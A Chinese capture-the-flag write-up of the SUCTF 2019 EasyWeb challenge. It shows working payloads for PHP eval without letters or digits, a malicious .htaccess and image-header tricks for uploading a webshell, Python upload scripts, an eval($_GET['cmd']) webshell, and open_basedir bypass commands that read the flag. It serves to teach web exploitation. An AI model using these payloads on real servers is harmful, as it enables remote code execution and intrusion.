[SUCTF 2019]EasyWeb---无参数RCE

SUCTF 2019]EasyWeb

考点:

  1. 无数字字母shell
  2. 利用.htaccess上传文件
  3. 绕过open_basedir
    源码审计
<?php
function get_the_flag(){
    // web admin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);   //命名格式(upload/tmp_md5(ip))
    if(!file_exists($userdir)){     //判断是否存在文件,不存在就重新创建
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);   //输出文件名.后的数据例:123.php输出php
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");   //获取文件里面的信息不能出现<?
    if(!exif_imagetype($tmp_name)) die("^_^");     //用来检查文件头是否和文件的后缀符合
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){                        //长度绕过
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )    //无数字、字母绕过-命令执行--bypass
    die('Try something else!');

$character_type = count_chars($hhh, 3);   //count_chars — 返回字符串所用字符的信息
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

审计结果
[SUCTF 2019]EasyWeb---无参数RCE
下面是无数字、字母、参数的rce

利用的还是之前的笔记p牛的笔记
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

传参

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\$b = $_POST
$a($c[1121]);

此方法分为两种一种GET型的一种POST型的
下面是POST
?_=$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;$a($c[1121]);
然后post:1121=phpinfo();
下面是get方式
?_=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();

上面这个是使用的异或手段的,然后我们还可以是利用php的经典特性

Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号。

用下面是脚本

<?php
$l = "";
$r = "";
$argv = str_split("_GET");  ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);    ##进行异或         
        if($k == $argv[$i]){
        	if($j<16){  ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            
        }
    }}
echo "\{$l`$r\}";  ### 这里的反引号只是用来区分左半边和右半边而已

?>

执行
[SUCTF 2019]EasyWeb---无参数RCE

得到的    --   \{%ff%ff%ff%ff`%a0%b8%ba%ab\}  ==get
这里值得注意的是${_GET}{%A0}就等于$_GET[%A0],%A0是一个字符虽然没有被引
号引起来但是php也不会将他看出是变量,
这就是为什么&_GET[cmd]=&_GET["cmd"] 了。
还有一个特性是$a=phpinfo 如果执行$a() 就相当于执行了phpinfo()

payload

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

我们可以执行得到phpinfo
[SUCTF 2019]EasyWeb---无参数RCE
然后获取flag
但是其实这是一个非预期解,真正的解法是利用.htaccess文件上传的方法

我们对上面的代码分析可以知道,我们是能够上传文件的,然后在调用get_the_flag
的方法,这个样的得到flag的方式才是真正的预期解。
但是问题来了,是哪个传入口在哪里,我们要上传什么文件。上面的代码解析是用来
解析图片的的格式的,我们要怎么才能上传是最大的问题了。

第一上传什么文件
我们先调用一下这个getflag法人方法

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

[SUCTF 2019]EasyWeb---无参数RCE
一片空白什么也没有
[SUCTF 2019]EasyWeb---无参数RCE
不要慌,其实这是因为我们触发的是php文件上传的后端代码。
[SUCTF 2019]EasyWeb---无参数RCE
解析

对于需要绕过的点主要有php问价后缀的绕过,这个就限制了我们不能上传php文件
,不能上传php文件我们就没有办法进行php解析。
方法:
对于该网站是一个apache服务器,所以可以上传.htaccess文件。
对于.htaccess文件的详细解析前面的文件上传里面有总结。
主要利用的就是.htaccess文件可以直接被php解析并执行。
二:绕过<?
方法:
我们直接使用<%来进行绕过。因为php = 7.2所以不能用<script>
三:绕过文件头的检查,绕过exif_imagetype()函数
方法:
使用\x00\x00\x8a\x39\x8a\x39绕过
使用
#define width 1337
#define height 1337
绕过

明确上传文件和绕过的检查方法以后我们开始写.htaccess文件
写法1

#define width 1
#define height 1
AddType application/x-httpd-php .pxp
php_value auto_append_file "php://filter/convert.base64-decode/resource=1121.pxp"

写法2

\x00\x00\x8a\x39\x8a\x39 
AddType application/x-httpd-php .ss 
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_837ec5754f503cfaaee0929fd48974e7/1121.txt" 

解析

AddType application/x-httpd-php .txt   
###将1.test以php的方式解析
php_value auto_append_file  "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_48cd8b43081896fbd0931d204f947663/shell.txt"
##在shell.txt加载完毕后,再次包含base64解码后的shell.txt,
成功getshell,所以这也就是为什么会出现两次shell.txt内容的原因,第一次是
没有经过base64解密的,第二次是经过解密并且转化为php了的。

写完配置文件之后我们编写要上传的木马文件

\x00\x00\x8a\x39\x8a\x39 
<?php eval($_GET['cmd']);?>

同样需要我们绕过文件头的验证函数
下面是上传文件—python脚本能力太差不会写
下面给出三个
来源

https://mayi077.gitee.io/2020/02/14/SUCTF-2019-EasyWeb/
https://www.shawroot.cc/1840.html

分步上传1

import requests
xbmhtaccess=b"""
#define width 1
#define height 1
AddType application/x-httpd-php .qiu
php_value auto_append_file "php://filter/convert.base64-decode/resource=zenis.qiu"
"""

### 或者xbmhtaccess=b"""\x00\x00\x85\x48\x85\x18
### AddType application/x-httpd-php .test
### php_value auto_append_file  
###  "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.test"
### """

url="http://3f165c30-20ac-4c51-8d4a-742208486edc.node1.buuoj.cn/?_=$%7B%86%9E%9C%8D%5E%d9%d9%d9%d9%7D%7B%d9%7D();&%d9=get_the_flag"
#upload
files={
	'file':('.htaccess',xbmhtaccess,'image/png')
}
r=requests.post(url,files=files)
print r.text

分步上传2

import requests
import base64
url="http://27599faf-aa11-40af-82aa-79ff4bc28fe5.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess=b"""\x00\x00\x85\x48\x85\x18
AddType application/x-httpd-php .test
php_value auto_append_file  "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test"    ##这里需要替换为自己上传的文件名

"""

shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #aa为了满足base64算法凑足八个字节

#first_upload ---- to upload .htaccess

files1={
	'file':('.htaccess',htaccess,'image/jpeg')
}
r1=requests.post(url=url,files=files1)
print (r1.text)

#second_upload ---- to upload .shell
#
files2={
	'file':('1.test',shell)
}
r1=requests.post(url,files=files2)
print (r1.text)

一步上传

import requests
import hashlib
import base64

url ="http://a72f9a31-9b77-43e5-b2c1-a31861d4c18c.node3.buuoj.cn/"

padding = "?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=get_the_flag"

myip=requests.get("http://ifconfig.me").text

ip_md5 = hashlib.md5(myip.encode()).hexdigest()

userdir="upload/tmp_"+ip_md5+"/"

htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shaw.cc"
"""

shaw = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['cmd']);?>")

files =[('file',('.htaccess',htaccess,'image/jpeg'))]

res = requests.post(url=url+padding,files=files)
files = [('file',('shaw.cc',shaw,'image/jpeg'))]
res = requests.post(url=url+padding,files=files)
print("the path is:"+url+res.text)

上传结果
[SUCTF 2019]EasyWeb---无参数RCE
测试
[SUCTF 2019]EasyWeb---无参数RCE
连马
[SUCTF 2019]EasyWeb---无参数RCE
执行命令
[SUCTF 2019]EasyWeb---无参数RCE
发现有disable_functions
看看终端
[SUCTF 2019]EasyWeb---无参数RCE

报错127
那就直接蚁剑插件
tmd不出所料,我的蚁剑还是不能用。
其实这里一点自己犯了个错误,就是蚁剑用的windows系统的,要使用插件的话,是需要我们使用linux系统的。
查看phpinfo[SUCTF 2019]EasyWeb---无参数RCE
发现有open_basedir方法的限制,我们只能打开两个目录
[SUCTF 2019]EasyWeb---无参数RCE
对于上面的绕过open_basedir方法我们可以参考p牛的文章

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

payload

列目录
?cmd=mkdir('rot');chdir('rot');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(glob('*'));
读flag
?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

写在最后

欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!

[SUCTF 2019]EasyWeb---无参数RCE

上一篇:The Top 85 Algorithmic Trading Open Source Projects


下一篇:virtualBox centos 创建共享文件夹